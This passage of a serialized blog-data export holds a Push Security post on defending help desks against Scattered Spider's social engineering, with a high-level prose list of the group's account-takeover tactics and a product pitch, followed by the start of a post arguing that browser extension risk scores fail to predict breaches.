reset that recognizes the risk associated with resetting a high-privileged account:",{"data":54205,"content":54206,"nodeType":1616},{},[54207,54217,54227],{"data":54208,"content":54209,"nodeType":1570},{},[54210],{"data":54211,"content":54212,"nodeType":866},{},[54213],{"data":54214,"marks":54215,"value":54216,"nodeType":865},{},[],"Require multi-party approval / escalation for admin-level account resets",{"data":54218,"content":54219,"nodeType":1570},{},[54220],{"data":54221,"content":54222,"nodeType":866},{},[54223],{"data":54224,"marks":54225,"value":54226,"nodeType":865},{},[],"Require in-person verification if the process can’t be followed remotely",{"data":54228,"content":54229,"nodeType":1570},{},[54230],{"data":54231,"content":54232,"nodeType":866},{},[54233],{"data":54234,"marks":54235,"value":54236,"nodeType":865},{},[],"Freeze self-service resets when suspicious behavior is encountered (this would require some kind of internal process and awareness training to raise the alarm if an attack is suspected)",{"data":54238,"content":54239,"nodeType":866},{},[54240],{"data":54241,"marks":54242,"value":54243,"nodeType":865},{},[],"And watch out for these gotchas: ",{"data":54245,"content":54246,"nodeType":1616},{},[54247,54257],{"data":54248,"content":54249,"nodeType":1570},{},[54250],{"data":54251,"content":54252,"nodeType":866},{},[54253],{"data":54254,"marks":54255,"value":54256,"nodeType":865},{},[],"If you receive a call, good practice is to terminate the call and dial the number on file for the employee. But, in a world of SIM swapping, this isn’t a foolproof solution — you could just be re-dialing the attacker. ",{"data":54258,"content":54259,"nodeType":1570},{},[54260],{"data":54261,"content":54262,"nodeType":866},{},[54263],{"data":54264,"marks":54265,"value":54266,"nodeType":865},{},[],"If your solution is to get the employee on camera, increasingly sophisticated deepfakes can thwart this approach.  ",{"data":54268,"content":54269,"nodeType":866},{},[54270],{"data":54271,"marks":54272,"value":54273,"nodeType":865},{},[],"But, help desks are a target for a reason. They’re “helpful” by nature. This is usually reflected in how they’re operated and performance measured — delays won’t help you to hit those SLAs! Ultimately, a process only works if employees are willing to adhere to it — and can’t be socially engineered to break it. Help desks that are removed from day-to-day operations (especially when outsourced or offshored) are also inherently susceptible to attacks where employees are impersonated. ",{"data":54275,"content":54276,"nodeType":972},{},[],{"data":54278,"content":54279,"nodeType":981},{},[54280],{"data":54281,"marks":54282,"value":54283,"nodeType":865},{},[],"Comparing help desk scams with other approaches",{"data":54285,"content":54286,"nodeType":866},{},[54287],{"data":54288,"marks":54289,"value":54290,"nodeType":865},{},[],"Taking a step back, it’s worth thinking about how help desk scams fit into the wider toolkit of tactics, techniques and procedures (TTPs) used by threat actors like Scattered Spider. ",{"data":54292,"content":54293,"nodeType":866},{},[54294,54297,54306],{"data":54295,"marks":54296,"value":21,"nodeType":865},{},[],{"data":54298,"content":54300,"nodeType":889},{"uri":54299},"https://pushsecurity.com/blog/scattered-spider-ttp-evolution-in-2025/",[54301],{"data":54302,"marks":54303,"value":54305,"nodeType":865},{},[54304],{"type":943},"Scattered Spider has heavily relied on identity-based TTPs since they first emerged in 2022",{"data":54307,"marks":54308,"value":54309,"nodeType":865},{},[],", following a repeatable path of bypassing MFA, achieving account takeover on privileged accounts, stealing data from cloud services, and deploying ransomware (principally to VMware environments). ",{"data":54311,"content":54312,"nodeType":1616},{},[54313,54323,54333,54354,54364,54374],{"data":54314,"content":54315,"nodeType":1570},{},[54316],{"data":54317,"content":54318,"nodeType":866},{},[54319],{"data":54320,"marks":54321,"value":54322,"nodeType":865},{},[],"Credential phishing via email and SMS (smishing) to harvest passwords en masse",{"data":54324,"content":54325,"nodeType":1570},{},[54326],{"data":54327,"content":54328,"nodeType":866},{},[54329],{"data":54330,"marks":54331,"value":54332,"nodeType":865},{},[],"Using SIM swapping (where you get the carrier to transfer a number to your attacker-controlled SIM card) to bypass SMS-based MFA",{"data":54334,"content":54335,"nodeType":1570},{},[54336],{"data":54337,"content":54338,"nodeType":866},{},[54339,54343,54350],{"data":54340,"marks":54341,"value":54342,"nodeType":865},{},[],"Using ",{"data":54344,"content":54345,"nodeType":889},{"uri":53203},[54346],{"data":54347,"marks":54348,"value":53208,"nodeType":865},{},[54349],{"type":943},{"data":54351,"marks":54352,"value":54353,"nodeType":865},{},[]," (aka. push bombing) to bypass app-based push authentication",{"data":54355,"content":54356,"nodeType":1570},{},[54357],{"data":54358,"content":54359,"nodeType":866},{},[54360],{"data":54361,"marks":54362,"value":54363,"nodeType":865},{},[],"Using vishing (i.e. directly calling a victim to social engineer their MFA code, as opposed to a help desk attack)",{"data":54365,"content":54366,"nodeType":1570},{},[54367],{"data":54368,"content":54369,"nodeType":866},{},[54370],{"data":54371,"marks":54372,"value":54373,"nodeType":865},{},[],"Social engineering domain registrars to take control of the target organization’s DNS, hijacking their MX records and inbound mail, and using this to take over the company’s business app environments ",{"data":54375,"content":54376,"nodeType":1570},{},[54377],{"data":54378,"content":54379,"nodeType":866},{},[54380,54384,54393],{"data":54381,"marks":54382,"value":54383,"nodeType":865},{},[],"And latterly, using ",{"data":54385,"content":54387,"nodeType":889},{"uri":54386},"https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/",[54388],{"data":54389,"marks":54390,"value":54392,"nodeType":865},{},[54391],{"type":943},"MFA-bypass AiTM phishing kits like Evilginx",{"data":54394,"marks":54395,"value":54396,"nodeType":865},{},[]," to steal live user sessions, bypassing all common forms of MFA (with the exception of WebAuthn/FIDO2) ",{"data":54398,"content":54399,"nodeType":866},{},[54400],{"data":54401,"marks":54402,"value":54403,"nodeType":865},{},[],"So, help desk scams are an important part of their toolkit, but it’s not the whole picture. Methods like AiTM in particular have spiked in popularity this year as a reliable and scalable way of bypassing MFA and achieving account takeover, with attackers using these toolkits as the de facto standard, getting creative in their detection evasion methods and in some cases, evading standard delivery vectors like email altogether to ensure the success of their phishing campaigns. ",{"data":54405,"content":54409,"nodeType":912},{"target":54406},{"sys":54407},{"id":54408,"type":909,"linkType":910},"2F2dpOkyXWnrKgFC3dSl67",[],{"data":54411,"content":54412,"nodeType":972},{},[],{"data":54414,"content":54415,"nodeType":981},{},[54416],{"data":54417,"marks":54418,"value":54419,"nodeType":865},{},[],"Stop identity attacks with Push Security",{"data":54421,"content":54422,"nodeType":866},{},[54423],{"data":54424,"marks":54425,"value":54426,"nodeType":865},{},[],"Modern attacks no longer take place on the endpoint or network — they target identities created and used via the web browser. This means that attacks increasingly take place in the browser (or rather, on resources your employees access through the browser). ",{"data":54428,"content":54429,"nodeType":866},{},[54430],{"data":54431,"marks":54432,"value":54433,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use, like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more. ",{"data":54435,"content":54439,"nodeType":912},{"target":54436},{"sys":54437},{"id":54438,"type":909,"linkType":910},"4atESpAAPAC0zP8CO4m8oa",[],{"data":54441,"content":54442,"nodeType":866},{},[54443,54447,54457],{"data":54444,"marks":54445,"value":54446,"nodeType":865},{},[],"To help combat help desk scams, we recently released ",{"data":54448,"content":54450,"nodeType":889},{"uri":54449},"https://pushsecurity.com/blog/employee-identity-verification-codes-release/",[54451],{"data":54452,"marks":54453,"value":54456,"nodeType":865},{},[54454,54455],{"type":943},{"type":926},"Employee Identity Verification Codes",{"data":54458,"marks":54459,"value":54460,"nodeType":865},{},[]," — a simple, browser-based identity check that gives your help desk a reliable way to confirm they’re talking to someone from your organization.",{"data":54462,"content":54466,"nodeType":912},{"target":54463},{"sys":54464},{"id":54465,"type":909,"linkType":910},"1TEpCjh8UGwmejgYSGC1by",[],{"data":54468,"content":54469,"nodeType":866},{},[54470],{"data":54471,"marks":54472,"value":54473,"nodeType":865},{},[],"It enables legitimate help desk callers to quickly verify that they’re in possession of their primary device (i.e. laptop) by relaying a rotating 6-digit verification code in their browser via the Push extension. This is a great way to securely confirm caller identity and sniff out fraudulent callers, and can be used as part of a phishing-resistant help desk process. ",{"data":54475,"content":54476,"nodeType":972},{},[],{"data":54478,"content":54479,"nodeType":981},{},[54480],{"data":54481,"marks":54482,"value":54483,"nodeType":865},{},[],"Get started today!",{"data":54485,"content":54486,"nodeType":866},{},[54487,54491,54500],{"data":54488,"marks":54489,"value":54490,"nodeType":865},{},[],"You can use Employee Verification Codes as a free tool by installing the Push browser extension. Simply ",{"data":54492,"content":54494,"nodeType":889},{"uri":54493},"https://pushsecurity.com/free-tool/employee-verification-codes",[54495],{"data":54496,"marks":54497,"value":54499,"nodeType":865},{},[54498],{"type":943},"sign up for a trial account and you can deploy the extension organization-wide to make use of this feature",{"data":54501,"marks":54502,"value":54503,"nodeType":865},{},[],". While you’re at it, you can trial Push’s full features for up to 10 users for free. ",{"data":54505,"content":54506,"nodeType":866},{},[54507,54511,54518],{"data":54508,"marks":54509,"value":54510,"nodeType":865},{},[],"Or if you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":54512,"content":54513,"nodeType":889},{"uri":16069},[54514],{"data":54515,"marks":54516,"value":11405,"nodeType":865},{},[54517],{"type":943},{"data":54519,"marks":54520,"value":1615,"nodeType":865},{},[],{"data":54522,"content":54526,"nodeType":912},{"target":54523},{"sys":54524},{"id":54525,"type":909,"linkType":910},"6Td0hDBYdeT8tlnnfwipmD",[],{"data":54528,"content":54529,"nodeType":866},{},[54530],{"data":54531,"marks":54532,"value":21,"nodeType":865},{},[],"Scattered Spider: Understanding help desk scams and how to defend your organization","Scattered Spider has dominated the headlines in recent months with a consistent focus on help desk scams. Here's what you need to know to protect your business.","2025-06-27T00:00:00.000Z","scattered-spider-defending-against-help-desk-scams",{"items":54538},[54539,54541],{"sys":54540,"name":7796},{"id":7795},{"sys":54542,"name":342},{"id":4642},{"items":54544},[54545],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":54546},{"url":7804},"blog/inside-criminal-phishing-panel",{"json":54549},{"data":54550,"content":54551,"nodeType":1382},{},[54552],{"data":54553,"content":54554,"nodeType":866},{},[54555],{"data":54556,"marks":54557,"value":44861,"nodeType":865},{},[],{"id":42964,"publishedAt":54559},"2026-08-12T12:01:02.042Z",{"items":54561},[54562,54564],{"sys":54563,"name":7796},{"id":7795},{"sys":54565,"name":342},{"id":4642},{"items":54567},[54568,54570,54572,54574,54576,54578,54580,54582,54584,54586,54588,54590,54592,54594],{"sys":54569,"name":279,"slug":280,"tier":31},{"id":276},{"sys":54571,"name":519,"slug":520,"tier":31},{"id":516},{"sys":54573,"name":413,"slug":414,"tier":31},{"id":410},{"sys":54575,"name":342,"slug":343,"tier":31},{"id":339},{"sys":54577,"name":511,"slug":512,"tier":45},{"id":508},{"sys":54579,"name":261,"slug":262,"tier":45},{"id":258},{"sys":54581,"name":650,"slug":651,"tier":45},{"id":647},{"sys":54583,"name":466,"slug":467,"tier":45},{"id":463},{"sys":54585,"name":571,"slug":572,"tier":45},{"id":568},{"sys":54587,"name":244,"slug":245,"tier":45},{"id":241},{"sys":54589,"name":324,"slug":325,"tier":45},{"id":321},{"sys":54591,"name":607,"slug":608,"tier":45},{"id":604},{"sys":54593,"name":475,"slug":476,"tier":45},{"id":472},{"sys":54595,"name":404,"slug":405,"tier":45},{"id":401},"N0vOV2VIW5hy8pMM0BbvNcTuREBRP3N1gHaQp2C33sk",{"id":54598,"title":46373,"authorsCollection":54599,"content":54604,"extension":228,"faqItemsCollection":55433,"faqTitle":59,"featured":6,"hashTags":59,"meta":55435,"metaTitle":55436,"ogImage":59,"postType":1424,"publishedDate":46375,"relatedBlogPostsCollection":55437,"slug":46376,"stem":58696,"subtitle":59,"summary":58697,"synopsis":46374,"sys":58708,"tagsCollection":58710,"topicsCollection":58716,"__hash__":58736},"blog/blog/why-browser-extension-risk-scoring-wont-predict-your-next-breach.json",{"items":54600},[54601],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":54602,"profilePicture":54603},[30152],{"url":7804},{"json":54605,"links":55336},{"data":54606,"content":54607,"nodeType":1382},{},[54608,54613,54648,54654,54660,54663,54670,54676,54683,54717,54731,54734,54741,54747,54753,54759,54772,54785,54791,54804,54810,54823,54840,54856,54906,54916,54933,54938,54944,54950,54956,54962,54983,54988,54994,55000,55006,55016,55036,55039,55046,55052,55058,55064,55080,55085,55104,55110,55116,55222,55227,55233,55239,55242,55249,55255,55271,55277,55284,55287,55303],{"data":54609,"content":54612,"nodeType":912},{"target":54610},{"sys":54611},{"id":45536,"type":909,"linkType":910},[],{"data":54614,"content":54615,"nodeType":866},{},[54616,54619,54626,54629,54635,54638,54645],{"data":54617,"marks":54618,"value":3676,"nodeType":865},{},[],{"data":54620,"content":54621,"nodeType":889},{"uri":3679},[54622],{"data":54623,"marks":54624,"value":3685,"nodeType":865},{},[54625],{"type":943},{"data":54627,"marks":54628,"value":2717,"nodeType":865},{},[],{"data":54630,"content":54631,"nodeType":889},{"uri":3691},[54632],{"data":54633,"marks":54634,"value":3696,"nodeType":865},{},[],{"data":54636,"marks":54637,"value":2717,"nodeType":865},{},[],{"data":54639,"content":54640,"nodeType":889},{"uri":3702},[54641],{"data":54642,"marks":54643,"value":3707,"nodeType":865},{},[54644],{"type":943},{"data":54646,"marks":54647,"value":45573,"nodeType":865},{},[],{"data":54649,"content":54650,"nodeType":866},{},[54651],{"data":54652,"marks":54653,"value":45580,"nodeType":865},{},[],{"data":54655,"content":54656,"nodeType":866},{},[54657],{"data":54658,"marks":54659,"value":45587,"nodeType":865},{},[],{"data":54661,"content":54662,"nodeType":972},{},[],{"data":54664,"content":54665,"nodeType":981},{},[54666],{"data":54667,"marks":54668,"value":45598,"nodeType":865},{},[54669],{"type":926},{"data":54671,"content":54672,"nodeType":866},{},[54673],{"data":54674,"marks":54675,"value":45605,"nodeType":865},{},[],{"data":54677,"content":54678,"nodeType":866},{},[54679],{"data":54680,"marks":54681,"value":45613,"nodeType":865},{},[54682],{"type":926},{"data":54684,"content":54685,"nodeType":1616},{},[54686,54695],{"data":54687,"content":54688,"nodeType":1570},{},[54689],{"data":54690,"content":54691,"nodeType":866},{},[54692],{"data":54693,"marks":54694,"value":45626,"nodeType":865},{},[],{"data":54696,"content":54697,"nodeType":1570},{},[54698],{"data":54699,"content":54700,"nodeType":866},{},[54701,54704,54714],{"data":54702,"marks":54703,"value":45636,"nodeType":865},{},[],{"data":54705,"content":54706,"nodeType":889},{"uri":45639},[54707,54710],{"data":54708,"marks":54709,"value":2688,"nodeType":865},{},[],{"data":54711,"marks":54712,"value":45648,"nodeType":865},{},[54713],{"type":943},{"data":54715,"marks":54716,"value":45652,"nodeType":865},{},[],{"data":54718,"content":54719,"nodeType":866},{},[54720,54724,54727],{"data":54721,"marks":54722,"value":45660,"nodeType":865},{},[54723],{"type":926},{"data":54725,"marks":54726,"value":45664,"nodeType":865},{},[],{"data":54728,"marks":54729,"value":45669,"nodeType":865},{},[54730],{"type":926},{"data":54732,"content":54733,"nodeType":972},{},[],{"data":54735,"content":54736,"nodeType":981},{},[54737],{"data":54738,"marks":54739,"value":45680,"nodeType":865},{},[54740],{"type":926},{"data":54742,"content":54743,"nodeType":866},{},[54744],{"data":54745,"marks":54746,"value":45687,"nodeType":865},{},[],{"data":54748,"content":54749,"nodeType":866},{},[54750],{"data":54751,"marks":54752,"value":45694,"nodeType":865},{},[],{"data":54754,"content":54755,"nodeType":1317},{},[54756],{"data":54757,"marks":54758,"value":45701,"nodeType":865},{},[],{"data":54760,"content":54761,"nodeType":866},{},[54762,54765,54769],{"data":54763,"marks":54764,"value":45708,"nodeType":865},{},[],{"data":54766,"marks":54767,"value":45713,"nodeType":865},{},[54768],{"type":898},{"data":54770,"marks":54771,"value":45717,"nodeType":865},{},[],{"data":54773,"content":54774,"nodeType":866},{},[54775,54778,54782],{"data":54776,"marks":54777,"value":45724,"nodeType":865},{},[],{"data":54779,"marks":54780,"value":3735,"nodeType":865},{},[54781],{"type":926},{"data":54783,"marks":54784,"value":14251,"nodeType":865},{},[],{"data":54786,"content":54787,"nodeType":866},{},[54788],{"data":54789,"marks":54790,"value":45738,"nodeType":865},{},[],{"data":54792,"content":54793,"nodeType":866},{},[54794,54797,54801],{"data":54795,"marks":54796,"value":45745,"nodeType":865},{},[],{"data":54798,"marks":54799,"value":45750,"nodeType":865},{},[54800],{"type":898},{"data":54802,"marks":54803,"value":45754,"nodeType":865},{},[],{"data":54805,"content":54806,"nodeType":1317},{},[54807],{"data":54808,"marks":54809,"value":45761,"nodeType":865},{},[],{"data":54811,"content":54812,"nodeType":866},{},[54813,54816,54820],{"data":54814,"marks":54815,"value":45768,"nodeType":865},{},[],{"data":54817,"marks":54818,"value":45773,"nodeType":865},{},[54819],{"type":898},{"data":54821,"marks":54822,"value":45777,"nodeType":865},{},[],{"data":54824,"content":54825,"nodeType":866},{},[54826,54830,54833,54837],{"data":54827,"marks":54828,"value":45785,"nodeType":865},{},[54829],{"type":926},{"data":54831,"marks":54832,"value":45789,"nodeType":865},{},[],{"data":54834,"marks":54835,"value":45794,"nodeType":865},{},[54836],{"type":898},{"data":54838,"marks":54839,"value":45798,"nodeType":865},{},[],{"data":54841,"content":54842,"nodeType":866},{},[54843,54846,54853],{"data":54844,"marks":54845,"value":45805,"nodeType":865},{},[],{"data":54847,"content":54848,"nodeType":889},{"uri":45808},[54849],{"data":54850,"marks":54851,"value":45814,"nodeType":865},{},[54852],{"type":943},{"data":54854,"marks":54855,"value":45818,"nodeType":865},{},[],{"data":54857,"content":54858,"nodeType":1616},{},[54859,54878,54897],{"data":54860,"content":54861,"nodeType":1570},{},[54862],{"data":54863,"content":54864,"nodeType":866},{},[54865,54868,54875],{"data":54866,"marks":54867,"value":1449,"nodeType":865},{},[],{"data":54869,"content":54870,"nodeType":889},{"uri":3691},[54871],{"data":54872,"marks":54873,"value":45838,"nodeType":865},{},[54874],{"type":943},{"data":54876,"marks":54877,"value":45842,"nodeType":865},{},[],{"data":54879,"content":54880,"nodeType":1570},{},[54881],{"data":54882,"content":54883,"nodeType":866},{},[54884,54887,54894],{"data":54885,"marks":54886,"value":1449,"nodeType":865},{},[],{"data":54888,"content":54889,"nodeType":889},{"uri":45854},[54890],{"data":54891,"marks":54892,"value":45860,"nodeType":865},{},[54893],{"type":943},{"data":54895,"marks":54896,"value":45864,"nodeType":865},{},[],{"data":54898,"content":54899,"nodeType":1570},{},[54900],{"data":54901,"content":54902,"nodeType":866},{},[54903],{"data":54904,"marks":54905,"value":45874,"nodeType":865},{},[],{"data":54907,"content":54908,"nodeType":866},{},[54909,54913],{"data":54910,"marks":54911,"value":45882,"nodeType":865},{},[54912],{"type":926},{"data":54914,"marks":54915,"value":45886,"nodeType":865},{},[],{"data":54917,"content":54918,"nodeType":866},{},[54919,54923,54926,54930],{"data":54920,"marks":54921,"value":45894,"nodeType":865},{},[54922],{"type":926},{"data":54924,"marks":54925,"value":2688,"nodeType":865},{},[],{"data":54927,"marks":54928,"value":45902,"nodeType":865},{},[54929],{"type":926},{"data":54931,"marks":54932,"value":45906,"nodeType":865},{},[],{"data":54934,"content":54937,"nodeType":912},{"target":54935},{"sys":54936},{"id":45911,"type":909,"linkType":910},[],{"data":54939,"content":54940,"nodeType":866},{},[54941],{"data":54942,"marks":54943,"value":45919,"nodeType":865},{},[],{"data":54945,"content":54946,"nodeType":1317},{},[54947],{"data":54948,"marks":54949,"value":45926,"nodeType":865},{},[],{"data":54951,"content":54952,"nodeType":866},{},[54953],{"data":54954,"marks":54955,"value":45933,"nodeType":865},{},[],{"data":54957,"content":54958,"nodeType":866},{},[54959],{"data":54960,"marks":54961,"value":45940,"nodeType":865},{},[],{"data":54963,"content":54964,"nodeType":1616},{},[54965,54974],{"data":54966,"content":54967,"nodeType":1570},{},[54968],{"data":54969,"content":54970,"nodeType":866},{},[54971],{"data":54972,"marks":54973,"value":45953,"nodeType":865},{},[],{"data":54975,"content":54976,"nodeType":1570},{},[54977],{"data":54978,"content":54979,"nodeType":866},{},[54980],{"data":54981,"marks":54982,"value":45963,"nodeType":865},{},[],{"data":54984,"content":54987,"nodeType":912},{"target":54985},{"sys":54986},{"id":45968,"type":909,"linkType":910},[],{"data":54989,"content":54990,"nodeType":866},{},[54991],{"data":54992,"marks":54993,"value":45976,"nodeType":865},{},[],{"data":54995,"content":54996,"nodeType":1317},{},[54997],{"data":54998,"marks":54999,"value":45983,"nodeType":865},{},[],{"data":55001,"content":55002,"nodeType":866},{},[55003],{"data":55004,"marks":55005,"value":45990,"nodeType":865},{},[],{"data":55007,"content":55008,"nodeType":866},{},[55009,55013],{"data":55010,"marks":55011,"value":45998,"nodeType":865},{},[55012],{"type":926},{"data":55014,"marks":55015,"value":46002,"nodeType":865},{},[],{"data":55017,"content":55018,"nodeType":866},{},[55019,55022,55026,55029,55033],{"data":55020,"marks":55021,"value":46009,"nodeType":865},{},[],{"data":55023,"marks":55024,"value":46014,"nodeType":865},{},[55025],{"type":898},{"data":55027,"marks":55028,"value":46018,"nodeType":865},{},[],{"data":55030,"marks":55031,"value":46023,"nodeType":865},{},[55032],{"type":926},{"data":55034,"marks":55035,"value":46027,"nodeType":865},{},[],{"data":55037,"content":55038,"nodeType":972},{},[],{"data":55040,"content":55041,"nodeType":981},{},[55042],{"data":55043,"marks":55044,"value":46038,"nodeType":865},{},[55045],{"type":926},{"data":55047,"content":55048,"nodeType":866},{},[55049],{"data":55050,"marks":55051,"value":46045,"nodeType":865},{},[],{"data":55053,"content":55054,"nodeType":1317},{},[55055],{"data":55056,"marks":55057,"value":46052,"nodeType":865},{},[],{"data":55059,"content":55060,"nodeType":866},{},[55061],{"data":55062,"marks":55063,"value":46059,"nodeType":865},{},[],{"data":55065,"content":55066,"nodeType":866},{},[55067,55070,55077],{"data":55068,"marks":55069,"value":46066,"nodeType":865},{},[],{"data":55071,"content":55072,"nodeType":889},{"uri":8268},[55073],{"data":55074,"marks":55075,"value":46074,"nodeType":865},{},[55076],{"type":943},{"data":55078,"marks":55079,"value":46078,"nodeType":865},{},[],{"data":55081,"content":55084,"nodeType":912},{"target":55082},{"sys":55083},{"id":46083,"type":909,"linkType":910},[],{"data":55086,"content":55087,"nodeType":866},{},[55088,55092,55097,55101],{"data":55089,"marks":55090,"value":46092,"nodeType":865},{},[55091],{"type":926},{"data":55093,"marks":55094,"value":46098,"nodeType":865},{},[55095,55096],{"type":926},{"type":898},{"data":55098,"marks":55099,"value":46103,"nodeType":865},{},[55100],{"type":926},{"data":55102,"marks":55103,"value":46107,"nodeType":865},{},[],{"data":55105,"content":55106,"nodeType":1317},{},[55107],{"data":55108,"marks":55109,"value":46114,"nodeType":865},{},[],{"data":55111,"content":55112,"nodeType":866},{},[55113],{"data":55114,"marks":55115,"value":46121,"nodeType":865},{},[],{"data":55117,"content":55118,"nodeType":1616},{},[55119,55156,55169,55182,55195],{"data":55120,"content":55121,"nodeType":1570},{},[55122],{"data":55123,"content":55124,"nodeType":866},{},[55125,55129,55132,55139,55143,55146,55153],{"data":55126,"marks":55127,"value":46135,"nodeType":865},{},[55128],{"type":926},{"data":55130,"marks":55131,"value":46139,"nodeType":865},{},[],{"data":55133,"content":55134,"nodeType":889},{"uri":46142},[55135],{"data":55136,"marks":55137,"value":46148,"nodeType":865},{},[55138],{"type":943},{"data":55140,"marks":55141,"value":46153,"nodeType":865},{},[55142],{"type":943},{"data":55144,"marks":55145,"value":46157,"nodeType":865},{},[],{"data":55147,"content":55148,"nodeType":889},{"uri":45639},[55149],{"data":55150,"marks":55151,"value":46165,"nodeType":865},{},[55152],{"type":943},{"data":55154,"marks":55155,"value":1615,"nodeType":865},{},[],{"data":55157,"content":55158,"nodeType":1570},{},[55159],{"data":55160,"content":55161,"nodeType":866},{},[55162,55166],{"data":55163,"marks":55164,"value":46179,"nodeType":865},{},[55165],{"type":926},{"data":55167,"marks":55168,"value":46183,"nodeType":865},{},[],{"data":55170,"content":55171,"nodeType":1570},{},[55172],{"data":55173,"content":55174,"nodeType":866},{},[55175,55179],{"data":55176,"marks":55177,"value":46194,"nodeType":865},{},[55178],{"type":926},{"data":55180,"marks":55181,"value":46198,"nodeType":865},{},[],{"data":55183,"content":55184,"nodeType":1570},{},[55185],{"data":55186,"content":55187,"nodeType":866},{},[55188,55192],{"data":55189,"marks":55190,"value":46209,"nodeType":865},{},[55191],{"type":926},{"data":55193,"marks":55194,"value":46213,"nodeType":865},{},[],{"data":55196,"content":55197,"nodeType":1570},{},[55198],{"data":55199,"content":55200,"nodeType":866},{},[55201,55205,55208,55215,55219],{"data":55202,"marks":55203,"value":46224,"nodeType":865},{},[55204],{"type":926},{"data":55206,"marks":55207,"value":46228,"nodeType":865},{},[],{"data":55209,"content":55210,"nodeType":889},{"uri":8268},[55211],{"data":55212,"marks":55213,"value":46236,"nodeType":865},{},[55214],{"type":943},{"data":55216,"marks":55217,"value":46241,"nodeType":865},{},[55218],{"type":943},{"data":55220,"marks":55221,"value":46245,"nodeType":865},{},[],{"data":55223,"content":55226,"nodeType":912},{"target":55224},{"sys":55225},{"id":46250,"type":909,"linkType":910},[],{"data":55228,"content":55229,"nodeType":866},{},[55230],{"data":55231,"marks":55232,"value":46258,"nodeType":865},{},[],{"data":55234,"content":55235,"nodeType":866},{},[55236],{"data":55237,"marks":55238,"value":46265,"nodeType":865},{},[],{"data":55240,"content":55241,"nodeType":972},{},[],{"data":55243,"content":55244,"nodeType":981},{},[55245],{"data":55246,"marks":55247,"value":46276,"nodeType":865},{},[55248],{"type":926},{"data":55250,"content":55251,"nodeType":866},{},[55252],{"data":55253,"marks":55254,"value":46283,"nodeType":865},{},[],{"data":55256,"content":55257,"nodeType":866},{},[55258,55261,55268],{"data":55259,"marks":55260,"value":46290,"nodeType":865},{},[],{"data":55262,"content":55263,"nodeType":889},{"uri":3841},[55264],{"data":55265,"marks":55266,"value":46298,"nodeType":865},{},[55267],{"type":943},{"data":55269,"marks":55270,"value":46302,"nodeType":865},{},[],{"data":55272,"content":55273,"nodeType":866},{},[55274],{"data":55275,"marks":55276,"value":46309,"nodeType":865},{},[],{"data":55278,"content":55279,"nodeType":866},{},[55280],{"data":55281,"marks":55282,"value":46317,"nodeType":865},{},[55283],{"type":926},{"data":55285,"content":55286,"nodeType":972},{},[],{"data":55288,"content":55289,"nodeType":866},{},[55290,55293,55300],{"data":55291,"marks":55292,"value":46327,"nodeType":865},{},[],{"data":55294,"content":55295,"nodeType":889},{"uri":8268},[55296],{"data":55297,"marks":55298,"value":46335,"nodeType":865},{},[55299],{"type":943},{"data":55301,"marks":55302,"value":46339,"nodeType":865},{},[],{"data":55304,"content":55305,"nodeType":866},{},[55306,55309,55315,55318,55324,55327,55333],{"data":55307,"marks":55308,"value":11372,"nodeType":865},{},[],{"data":55310,"content":55311,"nodeType":889},{"uri":11375},[55312],{"data":55313,"marks":55314,"value":11381,"nodeType":865},{},[],{"data":55316,"marks":55317,"value":2717,"nodeType":865},{},[],{"data":55319,"content":55320,"nodeType":889},{"uri":11387},[55321],{"data":55322,"marks":55323,"value":11393,"nodeType":865},{},[],{"data":55325,"marks":55326,"value":11397,"nodeType":865},{},[],{"data":55328,"content":55329,"nodeType":889},{"uri":1372},[55330],{"data":55331,"marks":55332,"value":11405,"nodeType":865},{},[],{"data":55334,"marks":55335,"value":1615,"nodeType":865},{},[],{"entries":55337},{"hyperlink":55338,"inline":55339,"block":55340},[],[],[55341,55366,55392,55418,55426],{"sys":55342,"__typename":5503,"content":55343,"name":55365,"title":59},{"id":45536},{"json":55344},{"data":55345,"content":55346,"nodeType":1382},{},[55347,55358],{"data":55348,"content":55349,"nodeType":866},{},[55350,55354],{"data":55351,"marks":55352,"value":33467,"nodeType":865},{},[55353],{"type":926},{"data":55355,"marks":55356,"value":55357,"nodeType":865},{},[]," Traditional extension risk scores — based on data like permissions, store metadata, code analysis, and developer reputation — are poor predictors of which extensions will actually lead to a compromise. The extensions behind every major breach of the past 18 months scored as normal or low-risk beforehand. ",{"data":55359,"content":55360,"nodeType":866},{},[55361],{"data":55362,"marks":55363,"value":55364,"nodeType":865},{},[],"If your strategy is \"remove the highest-risk extensions,\" you're optimizing for the wrong question. The more effective approach is to implement an allowlist, block the rest, and monitor the approved set for the changes — like ownership transfers and permission escalations — that actually precede real-world attacks. ","Browser extension risk scoring IB1",{"sys":55367,"__typename":5503,"content":55368,"name":55391,"title":59},{"id":45911},{"json":55369},{"nodeType":1382,"data":55370,"content":55371},{},[55372],{"nodeType":866,"data":55373,"content":55374},{},[55375,55379,55387],{"nodeType":865,"value":55376,"marks":55377,"data":55378},"Extensions compromised in the broader campaign impacting Cyberhaven had been legitimate, well-maintained tools with strong developer reputations before the developer accounts were phished. Likewise, the ",[],{},{"nodeType":889,"data":55380,"content":55381},{"uri":46142},[55382],{"nodeType":865,"value":55383,"marks":55384,"data":55386},"QuickLens and ShotBird ownership transfer attacks",[55385],{"type":943},{},{"nodeType":865,"value":55388,"marks":55389,"data":55390}," in March 2026 involved extensions acquired through a legitimate marketplace, with malicious code introduced after the sale. Developer reputation at time of installation told you nothing about the developer at time of attack. ",[],{},"Browser extension risk scoring IB2",{"sys":55393,"__typename":5503,"content":55394,"name":55417,"title":59},{"id":45968},{"json":55395},{"nodeType":1382,"data":55396,"content":55397},{},[55398],{"nodeType":866,"data":55399,"content":55400},{},[55401,55405,55413],{"nodeType":865,"value":55402,"marks":55403,"data":55404},"These are not outlier techniques. Across the major campaigns documented since late 2024 — including the 108-extension campaign ",[],{},{"nodeType":889,"data":55406,"content":55408},{"uri":55407},"https://thehackernews.com/2026/04/108-malicious-chrome-extensions-steal.html",[55409],{"nodeType":865,"value":55410,"marks":55411,"data":55412},"discovered in April 2026 ",[],{},{"nodeType":865,"value":55414,"marks":55415,"data":55416},"— some combination of dynamically loaded payloads, conditional execution, time-delayed activation, and 